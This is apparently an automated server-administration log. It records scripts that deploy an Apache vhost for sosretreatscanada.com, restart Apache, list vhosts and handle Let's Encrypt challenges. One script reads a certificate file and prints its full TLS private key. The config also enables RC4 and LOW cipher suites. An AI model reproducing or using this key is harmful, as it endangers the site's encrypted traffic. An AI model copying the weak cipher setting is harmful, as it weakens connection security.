        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-27 06:01:28: 

PUT: /tmp/pkp216239

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=sosretreatscanada_www_com.conf
TARGET=/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf)= /etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/sosretreatscanada_www_com.conf= 1'
fi


2025-09-27 06:01:28: 

chmod 755 /tmp/pkp216239; /tmp/pkp216239; rm /tmp/pkp216239

2025-09-27 06:01:28: 




2025-09-27 06:01:28: 

PUT: /tmp/pkp664557

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-27 06:01:28: 

chmod 755 /tmp/pkp664557; /tmp/pkp664557; rm /tmp/pkp664557

2025-09-27 06:01:28: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-27 06:01:28: Establishing a connection
2025-09-27 06:01:29: 

PUT: /tmp/pkp236012

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-27 06:01:29: 

chmod 755 /tmp/pkp236012; /tmp/pkp236012; rm /tmp/pkp236012

2025-09-27 06:01:29: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-27 06:01:29: 

PUT: /tmp/pkp528268

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-27 06:01:29: 

chmod 755 /tmp/pkp528268; /tmp/pkp528268; rm /tmp/pkp528268

2025-09-27 06:01:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf	1691

<VirtualHost *:80>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	sosretreatscanada.com
    ServerAlias	sosretreats.ca www.sosretreats.ca
    ServerAlias	www.sosretreatscanada.com
    ServerAlias	sosretreatscanada.ca www.sosretreatscanada.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt
    DocumentRoot	/var/www/sosretreatscanada_www
    <Directory /var/www/sosretreatscanada_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/sosretreatscanada/www_secure_access.log combined
    ErrorLog	/var/log/apache2/sosretreatscanada/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-27 06:01:29: 

PUT: /tmp/pkp935350

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-27 06:01:29: 

chmod 755 /tmp/pkp935350; /tmp/pkp935350; rm /tmp/pkp935350

2025-09-27 06:01:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b58195725e6aa43652c67a8009fa0881.crt	5519
ae:a1:0b:31:9e:6d:ae:6d:4f:6e:a5:0a:3b:23:49:be

-----BEGIN CERTIFICATE-----
MIIFeDCCBGCgAwIBAgISBfpo2Zneso2+KNvTikINcxjqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI3MDUwMjU3WhcNMjUxMjI2MDUwMjU2WjAgMR4wHAYDVQQD
ExVzb3NyZXRyZWF0c2NhbmFkYS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC1TSUihjUDfnzZeWBxTg3Q75qxXZu9iH7oCtavvfVlryQWVC+Eqn5g
0qHhpWMhpkFDqwdCTKs1RSnh6BzvIDl23Ks8M5UXW/MqzuNp+FyNqh09UQCluyjX
yFf1WCsqMDXEvkxMZzairDu1l7fIQ0Tc5B/faLBPAhg0PS3Yf6bgex9eOgrxzSa3
RKIKW1i9R6wSbvHM6YW0kVNfnxZgDTnvA0g0O9MjhQxHpUgoMunZ6U2QNE9A+yph
He8mMBaH5bvUNuBL9iE7YSK1DgLF47uiobxSzAR2n3E1X8LO5JO5AjQewQTNIBZ+
2HtynWeaazoqE+BWKaWe3T77lqOYyriPAgMBAAGjggKXMIICkzAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFGKyscr2FKJxbqYL/myxYb0crct5MB8GA1UdIwQYMBaAFOer
nw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wgZEGA1UdEQSBiTCBhoIOc29zcmV0cmVh
dHMuY2GCFHNvc3JldHJlYXRzY2FuYWRhLmNhghVzb3NyZXRyZWF0c2NhbmFkYS5j
b22CEnd3dy5zb3NyZXRyZWF0cy5jYYIYd3d3LnNvc3JldHJlYXRzY2FuYWRhLmNh
ghl3d3cuc29zcmV0cmVhdHNjYW5hZGEuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTA3LmNy
bDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB1AKRCxQZJYGFUjw/U6pz7ei0mRU2H
qX8v30VZ9idPOoRUAAABmYnDE9YAAAQDAEYwRAIgRl+z5PuHDreEeaiuiVaW120u
z43s5Jk30DCzBoflH/8CIHXyr2pi95glBZ7IIpnBGpytDl/JHGDXnlELlIOwlrnz
AHYA3dzKNJXX4RYF55Uy+sef+D0cUN/bADoUEnYKLKy7yCoAAAGZicMUIQAABAMA
RzBFAiEAsf22Lpa4/hwbi+EXwDWn9e+H+rd+jBG0kFp/g0ph+n4CIEfv5qVIXjJD
2jaTY07ZGlc7YicpH7J3Tlvq33dtcCyvMA0GCSqGSIb3DQEBCwUAA4IBAQALwDRL
a3xRqcwYO6QaiGzRnFY/7MhK7ArhmebhF6ovKEQqyBeok1X3ffoWvSU0kZVjT+sM
zjU2eOQb9kqtWc66KkB9u/f58QdqT90HrFqVSsI9jXcWaPmW2KFQhrA8I/mD95jq
FYJMJw6h9uzDTUozdo1EVyZtQkWtDdeRk77rc3D2phbdtX10lT6r99xhAM3udhmp
BKqA6dh7xq+DcmnK8GqqYRzCxoiM+tWOIa7S5fNJ3dpB4fhRh5bp6UuKk5EfwgAT
y7aLw90LK9zPBZQovQv2lYaCI57dvERVUXAQNgWUR90N5al7PSXPhZGDTbIVixwL
TQLNCmlfJ/yyR+zh
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1TSUihjUDfnzZ
eWBxTg3Q75qxXZu9iH7oCtavvfVlryQWVC+Eqn5g0qHhpWMhpkFDqwdCTKs1RSnh
6BzvIDl23Ks8M5UXW/MqzuNp+FyNqh09UQCluyjXyFf1WCsqMDXEvkxMZzairDu1
l7fIQ0Tc5B/faLBPAhg0PS3Yf6bgex9eOgrxzSa3RKIKW1i9R6wSbvHM6YW0kVNf
nxZgDTnvA0g0O9MjhQxHpUgoMunZ6U2QNE9A+yphHe8mMBaH5bvUNuBL9iE7YSK1
DgLF47uiobxSzAR2n3E1X8LO5JO5AjQewQTNIBZ+2HtynWeaazoqE+BWKaWe3T77
lqOYyriPAgMBAAECggEAEEQzqL1R1FZs7TYuqPvP0Yct4ev8JS0x9a/DQ1FPyyfD
nR1Ahi6l2BoN3Cjyk/pOsLuPkys90TG7aEFjFzFU9o0l7+jQ35+oWZbmYIOgCjXR
GcdCv5vjNjkLaz/V35sjt9s7DT/VbxL06H4MRzOB4i+1jF3gM7aEZWt3yYzqdAlx
QbhyuQibph8Bbc9Lxsslx/vM0GNPaPww3q+01lsP8BbnMuia2sDDHasYbxLaU3T8
YtYHNDSXuNvX0DSjNjyuW6F13l2V1j2eMEpA9nO0+taX0bqVji/NQfYjoBTA3rKh
JHabX8C1dB5Q/s75CSND4DGHjVkPDY6943efQuYcwQKBgQDeKmjJ3k/h7mkzdhbJ
K5FhdgxNdgj47PATWMGsSHMq40OM72+02Xzxv2i/vFFpGLYdRwf7b58J6Y6WBc3y
Z4DxSyezMn3rRZcPlCawYNZTj/PdH40bBYNBS9cjwLwiq0JkE0zOj88xpOcrYWGD
OsNbZ0aRyroISbik9KfG4u/3FQKBgQDQ6Y4v8ehXTL89QmLLNif8dJxAMfO3Fdcn
3m/lIFBLKhn41r5IorDF9rmnrIV9sY5zKsQY26TAGV0p7gjT5H2rLMSTKKT1W7DN
6HW4w5YjhXZgZ7v7hRQGvHSGZ05dZhCgBNjgoRmi0AavRzjDoPLicRCKJxlknrrq
vIFgmyZaEwKBgQDA1SanMSM9A2akmDcm3X4OjhwXkAAxr9ahtERGeYwdCa20Qo8+
9heQ7YbKBXbUNfK8bs7q2vO78tEkPl2HrXcp+QW4cHcDIx//EaSTKzpcxXHx2FTt
w1ct8doG2l9x6Bx0KJxeHkzE1lEgQiIVeYffakDCgqf+UZ7G7uRBqPCIEQKBgQCg
gdDspT+NUznbJxYgawttu2oRKE/HatBToWL290y5cy9hMBwiUlzevCEH4lTtrW10
rnbbYmXB8brSbD/8DKFA0rR1G9UhbcD5cpB/1EWWJQQ+LXUQWb55LnGYkeZze+dq
Ck9Wxm+b15hLMr06EH6L27KJcmDgHdQeZZZBUvK0YQKBgHjavE4RAG/srVIC4KkW
Dgi9relqSYVuUjlGl1ifiokEyVGzCp4vkpYBE8pv8cadF3fL6UpGsrpMTO9qAQIy
/MBEHmnyLp31KAE9TblIMhu7EFw/bzox/lFFTwvhkcYv9vEe8a53gp2Rwlv264M/
punPjUFzAC6YFD4+r7/Pxcxu
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-28 06:00:02: Establishing a connection
2025-09-28 06:00:04: Establishing a connection
2025-09-28 06:00:05: 

PUT: /tmp/pkp170205

#!/bin/bash
if [ -d "/var/www/carelinks/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-28 06:00:06: 

chmod 755 /tmp/pkp170205; /tmp/pkp170205; rm /tmp/pkp170205

2025-09-28 06:00:06: 


1


2025-09-28 06:00:08: Establishing a connection
2025-09-28 06:00:09: 

PUT: /tmp/pkp333615

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
cat > GWke9IoQZM-MrFnES8lYPzeL0K9DYTp0eQZaXNf2k38 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GWke9IoQZM-MrFnES8lYPzeL0K9DYTp0eQZaXNf2k38.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GWke9IoQZM-MrFnES8lYPzeL0K9DYTp0eQZaXNf2k38
cat > euyUw3CShCXFWfyhdmo4RDDgYOerCMY4Qx_UTmaYvsw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
euyUw3CShCXFWfyhdmo4RDDgYOerCMY4Qx_UTmaYvsw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 euyUw3CShCXFWfyhdmo4RDDgYOerCMY4Qx_UTmaYvsw


2025-09-28 06:00:10: 

chmod 755 /tmp/pkp333615; /tmp/pkp333615; rm /tmp/pkp333615

2025-09-28 06:00:10: 




2025-09-28 06:00:18: Establishing a connection
2025-09-28 06:00:20: 

PUT: /tmp/pkp525746

#!/bin/bash
mkdir -p "/var/www/carelinks/.well-known/acme-challenge/"
cd "/var/www/carelinks/.well-known/acme-challenge/"
rm GWke9IoQZM-MrFnES8lYPzeL0K9DYTp0eQZaXNf2k38
rm euyUw3CShCXFWfyhdmo4RDDgYOerCMY4Qx_UTmaYvsw


2025-09-28 06:00:21: 

chmod 755 /tmp/pkp525746; /tmp/pkp525746; rm /tmp/pkp525746

2025-09-28 06:00:21: 




2025-09-28 06:00:21: Establishing a connection
2025-09-28 06:00:22: 

PUT: /tmp/pkp755711

#!/bin/bash
temp_file=$(mktemp)
TARGET=ce22a54aea805c8590de46790a6979d7.crt

cat > $temp_file <<'endmsg'
d3:15:2e:f9:0d:45:6b:1a:34:50:d1:fd:10:94:c9:89

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBbDwD00uqUzTLlEFLPbRWzmwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI4MDUwMTQ4WhcNMjUxMjI3MDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3Mub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
2p1xqRYGlinFPRoP+PHCtaG6VjCstizl6ka2fzlCkO+0qm9mv0/X4QQTgAhnsBWv
bU7O8b5dkSfAzXbufAbhi4igzg2//hAba/b3WUcpa+U/G4UUesI5rhVnI+qGaC22
jiw8rEgxvNY/lT9bYT6jel/k4C6gAEsvyuUdT/JkIIpE73XGerWosfaFSSmdb4/m
YurDFFw/zG1yTxAxdV2GVJQKCdPx6nei9CN2jzHIiMgoujYugia8Xb+UowFfbcV0
cHkYSqp2BRDQFvL0/4ufKzrM9twfewfyiuFRTp8xVRgH0xh7nBa1OVn3fiQyFqyD
xT6QgCCKxt+h3h1HSeWtVwIDAQABo4ICMTCCAi0wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBScz+g5XI7qYCoTK9NOL1zppiES6jAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5vcmeCEXd3dy5j
YXJlbGlua3Mub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6Ah
oB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNDkuY3JsMIIBBQYKKwYBBAHWeQIE
AgSB9gSB8wDxAHcApELFBklgYVSPD9TqnPt6LSZFTYepfy/fRVn2J086hFQAAAGZ
juhiNwAABAMASDBGAiEAu5pXyMlbROQHEL8cYZGDGX0B2RSNIknVrjOynKVb25gC
IQCW2w/hB76Sjf3laRQEUvZRf7Z461OiTfGEJ+HgeCRyXgB2ABmG1Mcoqm/+ugNv
